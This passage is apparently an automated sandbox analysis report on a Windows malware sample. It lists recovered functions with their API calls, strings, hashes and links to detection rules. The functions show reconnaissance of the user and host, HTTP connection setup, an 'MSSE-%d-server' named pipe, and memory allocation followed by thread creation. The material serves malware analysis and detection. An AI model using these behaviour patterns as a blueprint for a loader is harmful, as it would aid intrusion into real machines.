API ID: _snprintf$Internet$CloseHandleHttpRequeststrchr$AvailableDataFileOpenQueryReadSend_errno_invalid_parameter_noinfo
String ID: %s%s$*/*
API String ID: 3536628738-856325523
Opcode ID: 5c4b2c5719e067ce629add7012f112fb417b911470ce534f4123a2ba84123eb0
Instruction ID: d172ce45b955779f0415644ddcf92c05ff9dd92b9507bddcc31c82f88435206d
Opcode Fuzzy Hash: 5c4b2c5719e067ce629add7012f112fb417b911470ce534f4123a2ba84123eb0
Instruction Fuzzy Hash: 7B61D236700B8186EB50DF65E4507AEB7A7F785B98F40412AEE4D57B58DF39C50AC700

Function 00675E28 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00675FEC: malloc.LIBCMT ref: 00676008

GetUserNameA.ADVAPI32 ref: 00675EAF
GetComputerNameA.KERNEL32 ref: 00675EC2
GetModuleFileNameA.KERNEL32 ref: 00675EDB
strrchr.LIBCMT ref: 00675EED
GetVersionExA.KERNEL32 ref: 00675F10
_snprintf.LIBCMT ref: 00675F9B

Strings

%s%s%s, xrefs: 00675F7F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Name$ComputerFileModuleUserVersion_snprintfmallocstrrchr
String ID: %s%s%s
API String ID: 1671524875-1891519693
Opcode ID: 40ae984fd8d1d60e03acc18bee9c81741f4638c9dfd0547d5b2d8a001e524837
Instruction ID: c28a7dd79399c0947703d9ca336236560d4538fccad7daf3844f32ce664af0b6
Opcode Fuzzy Hash: 40ae984fd8d1d60e03acc18bee9c81741f4638c9dfd0547d5b2d8a001e524837
Instruction Fuzzy Hash: 2241D23470468146EA44FB22E92472E779BBB85FD0F848129FE5A0BF55CF3DC1528748

Function 00661184 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
encryptionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32 ref: 006611B8
CryptAcquireContextA.ADVAPI32 ref: 006611DC
CryptGenRandom.ADVAPI32 ref: 006611F0
CryptReleaseContext.ADVAPI32 ref: 00661204

Strings

(, xrefs: 006611D4
Microsoft Base Cryptographic Provider v1.0, xrefs: 006611A2, 006611C6

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$RandomRelease
String ID: ($Microsoft Base Cryptographic Provider v1.0
API String ID: 685801729-4046902070
Opcode ID: 0f7b575704e2efa4e71594adee21552c9336b074ba1ad3f512173577c0e57d68
Instruction ID: f528ba85227e950b9a5ff7247e49097112dbfb7c3d4fe532c91b4787bb7a5fda
Opcode Fuzzy Hash: 0f7b575704e2efa4e71594adee21552c9336b074ba1ad3f512173577c0e57d68
Instruction Fuzzy Hash: D901D83570074182E710CF65E898359B767F7D8F88F488025D74987B24CF79C699C740

Function 00401630 Relevance: 6.0, APIs: 4, Instructions: 50
pipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeA.KERNEL32 ref: 0040167C
ConnectNamedPipe.KERNEL32 ref: 00401699
WriteFile.KERNEL32 ref: 004016BC
CloseHandle.KERNEL32 ref: 004016C9

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: NamedPipe$CloseConnectCreateFileHandleWrite
String ID:
API String ID: 2239253087-0
Opcode ID: a137092020d99df8e6f9d9be70b23b42cb61a637a040608a59e494d996c8cf1e
Instruction ID: 33ab9d0585ac1679f1025b945fed68b18b66da774309cd2c41c4043231b0423c
Opcode Fuzzy Hash: a137092020d99df8e6f9d9be70b23b42cb61a637a040608a59e494d996c8cf1e
Instruction Fuzzy Hash: 431182A1714A5047E7208B12EC4870AB660B785BEAF548635EE5D1BBE4DB7DC445CB08

Function 004017F8 Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 54
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 004017B9
SleepEx.KERNELBASE ref: 004017CD

Part of subcall function 00401704: CreateFileA.KERNEL32 ref: 0040174D
Part of subcall function 00401704: ReadFile.KERNEL32 ref: 00401777
Part of subcall function 00401704: CloseHandle.KERNEL32 ref: 00401784

GetTickCount.KERNEL32 ref: 004017FC
CreateThread.KERNEL32 ref: 00401885

Strings

%c%c%c%c%c%c%c%c%cMSSE-%d-server, xrefs: 0040185A
., xrefs: 00401841
\, xrefs: 00401811
@@, xrefs: 004017AE
p, xrefs: 00401831
p, xrefs: 00401821
i, xrefs: 00401829
e, xrefs: 00401819
\, xrefs: 00401839

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: CreateFile$CloseCountHandleReadSleepThreadTickmalloc
String ID: @@$%c%c%c%c%c%c%c%c%cMSSE-%d-server$.$\$\$e$i$p$p
API String ID: 3660650057-1020837823
Opcode ID: 66b9071a1fbc2149318147bf2399a6e6d29a638d527e23c28c2dfbdbcde83963
Instruction ID: b345380edbdca45ebb9784712c11a19872ab0759f856dd5cf37371eb7f92d9a3
Opcode Fuzzy Hash: 66b9071a1fbc2149318147bf2399a6e6d29a638d527e23c28c2dfbdbcde83963
Instruction Fuzzy Hash: 6A11DFB2214A80C7E714CF62FC4575ABBA0F3C478AF44412AEB091B7A8CB7CC545CB08

Function 0066EA48 Relevance: 9.1, APIs: 6, Instructions: 109
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0067E0FC: RevertToSelf.ADVAPI32 ref: 0067E10A

InternetOpenA.WININET ref: 0066EB0C
InternetSetOptionA.WININET ref: 0066EB2C
InternetSetOptionA.WININET ref: 0066EB44
InternetConnectA.WININET ref: 0066EB7A
InternetSetOptionA.WININET ref: 0066EBB7
InternetSetOptionA.WININET ref: 0066EBE2

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Internet$Option$ConnectOpenRevertSelf
String ID:
API String ID: 1513466045-0
Opcode ID: a9b8b553a89bf16a576f3c9bc92d43a984d256c5d92c920833b48d6b9218c37a
Instruction ID: a3c04ec4af3ea140744b9b6893a1626f6dc64dd5709c99981c3f251268a58bfe
Opcode Fuzzy Hash: a9b8b553a89bf16a576f3c9bc92d43a984d256c5d92c920833b48d6b9218c37a
Instruction Fuzzy Hash: BD412935300B8182EB54EF51F4A57A977A3F789B88F148019DA4A17B1ADF3EC426CB04

Function 0066CA74 Relevance: 7.8, APIs: 6, Instructions: 296
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00675FEC: malloc.LIBCMT ref: 00676008

malloc.LIBCMT ref: 0066CB3B

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

Part of subcall function 0067C230: _time64.LIBCMT ref: 0067C254
Part of subcall function 0067C230: malloc.LIBCMT ref: 0067C29C
Part of subcall function 0067C230: strtok.LIBCMT ref: 0067C300
Part of subcall function 0067C230: strtok.LIBCMT ref: 0067C311

Part of subcall function 006734A0: _time64.LIBCMT ref: 006734AE

Part of subcall function 0067EAA8: malloc.LIBCMT ref: 0067EAF8

Part of subcall function 0067EAA8: realloc.LIBCMT ref: 0067EB07

Part of subcall function 0066F3C0: GetLocalTime.KERNEL32 ref: 0066F3DF

malloc.LIBCMT ref: 0066CC4A
_snprintf.LIBCMT ref: 0066CCC1
_snprintf.LIBCMT ref: 0066CCE7
free.LIBCMT ref: 0066CEC6

Part of subcall function 0067AD44: malloc.LIBCMT ref: 0067AD78
Part of subcall function 0067AD44: free.LIBCMT ref: 0067AF2F

Part of subcall function 00678E0C: htonl.WS2_32 ref: 00678E3D
Part of subcall function 00678E0C: htonl.WS2_32 ref: 00678E4A

_snprintf.LIBCMT ref: 0066CD0E

Part of subcall function 0067DA74: Sleep.KERNEL32 ref: 0067DABC
Part of subcall function 0067DA74: ExitThread.KERNEL32 ref: 0067DAC6

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: malloc$_snprintf$_errno_time64freehtonlstrtok$AllocExitHeapLocalSleepThreadTime_callnewhrealloc
String ID:
API String ID: 548016584-0
Opcode ID: 2bc6c26e52030706472ef6675f80d589c4fc0031a0de3ea0680d9c9adc863854
Instruction ID: 16eebcad59399b91420e8f2b6aaa84d72e3de6bc391615428ee9825792860063
Opcode Fuzzy Hash: 2bc6c26e52030706472ef6675f80d589c4fc0031a0de3ea0680d9c9adc863854
Instruction Fuzzy Hash: 71A1E17130068146DB98FB72E8657AE23A3BF85790F44913DAE5E4B75ADF39C805C708

Function 0066F014 Relevance: 4.6, APIs: 3, Instructions: 66
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0066F118: WSAStartup.WS2_32 ref: 0066F136

WSASocketA.WS2_32 ref: 0066F042
WSAIoctl.WS2_32 ref: 0066F08F
closesocket.WS2_32 ref: 0066F0EE

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: IoctlSocketStartupclosesocket
String ID:
API String ID: 365704328-0
Opcode ID: 9f6035121241c12ff71e8e552415c275c25b201d0c9d2d3551ffb33b20d91594
Instruction ID: 2237a941fd2ae6f7b750c7a65c64ae29eca4d48651673b50a0ea1dd646ee54ff
Opcode Fuzzy Hash: 9f6035121241c12ff71e8e552415c275c25b201d0c9d2d3551ffb33b20d91594
Instruction Fuzzy Hash: 72219D727087C083D7208F24F5A075AB7A6F3887E4F648635EE9D43B8ADB39C5568B00

Function 00401595 Relevance: 4.5, APIs: 3, Instructions: 47
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 004015BC
VirtualProtect.KERNEL32 ref: 004015F6
CreateThread.KERNEL32 ref: 0040161B

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: Virtual$AllocCreateProtectThread
String ID:
API String ID: 3039780055-0
Opcode ID: 37a72bd22e1593272b4bf177035eaaf1f4bd0309aa4848ec5ea1f9fd2353670d
Instruction ID: 4860219b4c01c513d172ce07c02c5f666ef61a193e7305fd3c1758593cceafba
Opcode Fuzzy Hash: 37a72bd22e1593272b4bf177035eaaf1f4bd0309aa4848ec5ea1f9fd2353670d
Instruction Fuzzy Hash: 83012B9231558051E7249B73AC04B9AAA91A38DBC9F48C135FE4B5FB65DA3CC145C308

Function 00401704 Relevance: 4.5, APIs: 3, Instructions: 45
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 0040174D
ReadFile.KERNEL32 ref: 00401777
CloseHandle.KERNEL32 ref: 00401784

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: d0ade87b55ea1173ce219873fd21c40e70a9c53e42d9cadcd6b17f6b1618b3d2
Instruction ID: 7b1d3a4e01a1f8e2f055cb9d21318694f184940eaf5a18d2a9f539c7fc6a8346
Opcode Fuzzy Hash: d0ade87b55ea1173ce219873fd21c40e70a9c53e42d9cadcd6b17f6b1618b3d2
Instruction Fuzzy Hash: 2401D46531461186E7214B52AC04716B6A0B3D4BE9F648339BFA907BD4DB7DC54ACB08

Function 0066F118 Relevance: 3.0, APIs: 2, Instructions: 42
networkCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 0066F136
WSACleanup.WS2_32 ref: 0066F1D2

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CleanupStartup
String ID:
API String ID: 915672949-0
Opcode ID: d22241c7f1bd4084ee50ee5593018a46650914ab47a10bd4edb93220355cbedb
Instruction ID: e884fee1bb4c98631f262bdf6907ae2d834792547d9a64c214e260f98231aede
Opcode Fuzzy Hash: d22241c7f1bd4084ee50ee5593018a46650914ab47a10bd4edb93220355cbedb
Instruction Fuzzy Hash: B2112D70601B42C6FB24AB60F86936432DBEB46344F50043D97194B3ABDF7E85A9CB15

Function 001B96B4 Relevance: 1.6, APIs: 1, Instructions: 149
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 001B977B

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 74d038c8b1c51bf1d7765a817c366e135375bbd51fab872694d5e2c19deb3bea
Instruction ID: efd88f1dba25db5d1f0e43baab4af7ca16a4ccce529ffc94f2ae934aebaebbcd
Opcode Fuzzy Hash: 74d038c8b1c51bf1d7765a817c366e135375bbd51fab872694d5e2c19deb3bea
Instruction Fuzzy Hash: 7E619936219B8486CAA4CB1AE49035AB7A4F7C9B98F544125EFCE83B28DF3DD555CB00

Function 00403040 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004017F8: malloc.MSVCRT ref: 004017B9
Part of subcall function 004017F8: SleepEx.KERNELBASE ref: 004017CD
Part of subcall function 004017F8: GetTickCount.KERNEL32 ref: 004017FC
Part of subcall function 004017F8: CreateThread.KERNEL32 ref: 00401885

SleepEx.KERNELBASE(?,?,?,004013B4), ref: 0040305D

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: Sleep$CountCreateThreadTickmalloc
String ID:
API String ID: 345437100-0
Opcode ID: 425a1bfd6dc76289f59e140baf5a553519d4dbae3435d8d7a7e3de4f13007a03
Instruction ID: 6421346cc2233eacca5f16f640383cf641c739f700fbc6dff330eaabfecbeef7
Opcode Fuzzy Hash: 425a1bfd6dc76289f59e140baf5a553519d4dbae3435d8d7a7e3de4f13007a03
Instruction Fuzzy Hash: EEC02B5430104440DB0833F3442733D06180B08388F0C043FFE0B322D28C3CC050030E

Function 001B9324 Relevance: 1.3, APIs: 1, Instructions: 87
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 001B9471

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 614a4b05fd2fcf958961d58200ae62ff8fa006310eb0dba3dbba10185b0029ad
Instruction ID: f8e345c21f6f9c9e839c43a71cb4834d3fbaf0f1daad40beabb24e80c0c04f1e
Opcode Fuzzy Hash: 614a4b05fd2fcf958961d58200ae62ff8fa006310eb0dba3dbba10185b0029ad
Instruction Fuzzy Hash: 12419772628B8487DB64CB1AE48471AB7A1F7C8B94F105225FBDE87B68DB3CD4518F00

Non-executed Functions

Function 00686514 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 460COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0068656A
_errno.LIBCMT ref: 00686571
_invalid_parameter_noinfo.LIBCMT ref: 0068657C

Strings

U, xrefs: 00686ADE

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: a469b43449293490d86ed3caa32e41753b17625943497404ea198177ea08bf0b
Instruction ID: ec14a26c44d62a4c083659281745be02a7e1ba2226b7defda2d8e2cb297eb1e3
Opcode Fuzzy Hash: a469b43449293490d86ed3caa32e41753b17625943497404ea198177ea08bf0b
Instruction Fuzzy Hash: 9902357231468186DB20EF28E4843AEB767F785B48F540216FB8987B58DF3EC956CB11

Function 0067867C Relevance: 46.6, APIs: 22, Strings: 4, Instructions: 1078processCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00678FA0
CreateToolhelp32Snapshot.KERNEL32 ref: 00678FD9
Process32First.KERNEL32 ref: 00678FFB

Strings

x86, xrefs: 00678FC7, 006790B0
x64, xrefs: 00678FB2, 00678FC0
%s%d%d, xrefs: 00679046
%s%d%d%s%s%d, xrefs: 006790E0

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CreateCurrentFirstProcessProcess32SnapshotToolhelp32
String ID: %s%d%d%s%s%d$%s%d%d$x64$x86
API String ID: 718051232-1833344708
Opcode ID: 44ee8957408f2f3c2d0d1c1155748847862033341b6ca19cb8ca6a6e19bffbea
Instruction ID: 752ecabde62a66407af9c842d5c33e994ba71729f6791cc7c402b3997ffc8998
Opcode Fuzzy Hash: 44ee8957408f2f3c2d0d1c1155748847862033341b6ca19cb8ca6a6e19bffbea
Instruction Fuzzy Hash: A8726D21B44641C6DB68DB2698583B913D3B789BC0FA4C126DE0F87B59EE39CD87CB41

Function 00682F9C Relevance: 37.4, APIs: 19, Strings: 2, Instructions: 694COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00682FFD

Part of subcall function 00681600: _getptd.LIBCMT ref: 00681616
Part of subcall function 00681600: __updatetlocinfo.LIBCMT ref: 0068164B
Part of subcall function 00681600: __updatetmbcinfo.LIBCMT ref: 00681672

_errno.LIBCMT ref: 00683002

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_fileno.LIBCMT ref: 0068302F

Part of subcall function 00685A54: _errno.LIBCMT ref: 00685A5D
Part of subcall function 00685A54: _invalid_parameter_noinfo.LIBCMT ref: 00685A68

write_multi_char.LIBCMT ref: 0068366B
write_string.LIBCMT ref: 00683688
write_multi_char.LIBCMT ref: 006836A5
write_string.LIBCMT ref: 00683704
write_string.LIBCMT ref: 0068373B
write_multi_char.LIBCMT ref: 0068375D
free.LIBCMT ref: 00683771
_isleadbyte_l.LIBCMT ref: 00683842
write_char.LIBCMT ref: 00683858
write_char.LIBCMT ref: 00683879
_errno.LIBCMT ref: 0068397C
_invalid_parameter_noinfo.LIBCMT ref: 00683987

Strings

@, xrefs: 0068301B
, xrefs: 0068363F

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 3318157856-1077428164
Opcode ID: 43138757bcee35b18d1a9352f63dda4217664694579bf9df27f2658c9d71e8f1
Instruction ID: 553c916e11350bd172c27715927b5fa2c9722ca7020bfaf0cce802a564827fec
Opcode Fuzzy Hash: 43138757bcee35b18d1a9352f63dda4217664694579bf9df27f2658c9d71e8f1
Instruction Fuzzy Hash: D34244B26086A486EB25EF19D5543BE6BB3F741F90F140305DE4A17B98EB79CB41CB01

Function 00682528 Relevance: 35.7, APIs: 19, Strings: 1, Instructions: 687COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00682589

Part of subcall function 00681600: _getptd.LIBCMT ref: 00681616
Part of subcall function 00681600: __updatetlocinfo.LIBCMT ref: 0068164B
Part of subcall function 00681600: __updatetmbcinfo.LIBCMT ref: 00681672

_errno.LIBCMT ref: 0068258E

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

_fileno.LIBCMT ref: 006825BB

Part of subcall function 00685A54: _errno.LIBCMT ref: 00685A5D
Part of subcall function 00685A54: _invalid_parameter_noinfo.LIBCMT ref: 00685A68

write_multi_char.LIBCMT ref: 00682BEB
write_string.LIBCMT ref: 00682C08
write_multi_char.LIBCMT ref: 00682C25
write_string.LIBCMT ref: 00682C84
write_string.LIBCMT ref: 00682CBB
write_multi_char.LIBCMT ref: 00682CDD
free.LIBCMT ref: 00682CF1
_isleadbyte_l.LIBCMT ref: 00682DC2
write_char.LIBCMT ref: 00682DD8
write_char.LIBCMT ref: 00682DF9
_errno.LIBCMT ref: 00682EF3
_invalid_parameter_noinfo.LIBCMT ref: 00682EFE

Strings

, xrefs: 00682BBF

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID:
API String ID: 3318157856-3916222277
Opcode ID: fca6f3964dd5be39caa2a1998c64648d50546d36c07ae532eb44751125f6f7d4
Instruction ID: 2896283ac4f2a1ac83dbb9fac2a01ee60df2fa2cca1931e9dd44a3f7c29ad242
Opcode Fuzzy Hash: fca6f3964dd5be39caa2a1998c64648d50546d36c07ae532eb44751125f6f7d4
Instruction Fuzzy Hash: 3D32547220868686EF29EF15D5643BE6FB3FB45B94F241305DE4A17B68DB78C841CB40

Function 001C239C Relevance: 32.2, APIs: 16, Strings: 2, Instructions: 694COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 001C23FD

Part of subcall function 001C0A00: _getptd.LIBCMT ref: 001C0A16
Part of subcall function 001C0A00: __updatetlocinfo.LIBCMT ref: 001C0A4B
Part of subcall function 001C0A00: __updatetmbcinfo.LIBCMT ref: 001C0A72

_errno.LIBCMT ref: 001C2402

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

_fileno.LIBCMT ref: 001C242F

Part of subcall function 001C4E54: _errno.LIBCMT ref: 001C4E5D
Part of subcall function 001C4E54: _invalid_parameter_noinfo.LIBCMT ref: 001C4E68

write_multi_char.LIBCMT ref: 001C2A6B
write_string.LIBCMT ref: 001C2A88
write_multi_char.LIBCMT ref: 001C2AA5
write_string.LIBCMT ref: 001C2B04
write_string.LIBCMT ref: 001C2B3B
write_multi_char.LIBCMT ref: 001C2B5D
free.LIBCMT ref: 001C2B71
_isleadbyte_l.LIBCMT ref: 001C2C42
write_char.LIBCMT ref: 001C2C58
write_char.LIBCMT ref: 001C2C79
_errno.LIBCMT ref: 001C2D7C
_invalid_parameter_noinfo.LIBCMT ref: 001C2D87

Strings

, xrefs: 001C2A3F
@, xrefs: 001C241B

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errnowrite_multi_charwrite_string$Locale_invalid_parameter_noinfowrite_char$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_fileno_getptd_getptd_noexit_isleadbyte_lfree
String ID: $@
API String ID: 3318157856-1077428164
Opcode ID: 0917c7b026fa98026fd61c82a9db6b94b013ed73c29c4ccbf17a38093d3ada48
Instruction ID: 894fc212aefd36256bb4a76e233e0adf7cc69257a1cca1681f47039ea8f6e663
Opcode Fuzzy Hash: 0917c7b026fa98026fd61c82a9db6b94b013ed73c29c4ccbf17a38093d3ada48
Instruction Fuzzy Hash: E8421032608B9487EB29CF59D544FBE7BB0B775B84F24100EDE4A47AA8DB78C840CB01

Function 001C1928 Relevance: 28.6, APIs: 14, Strings: 2, Instructions: 645COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 001C1989

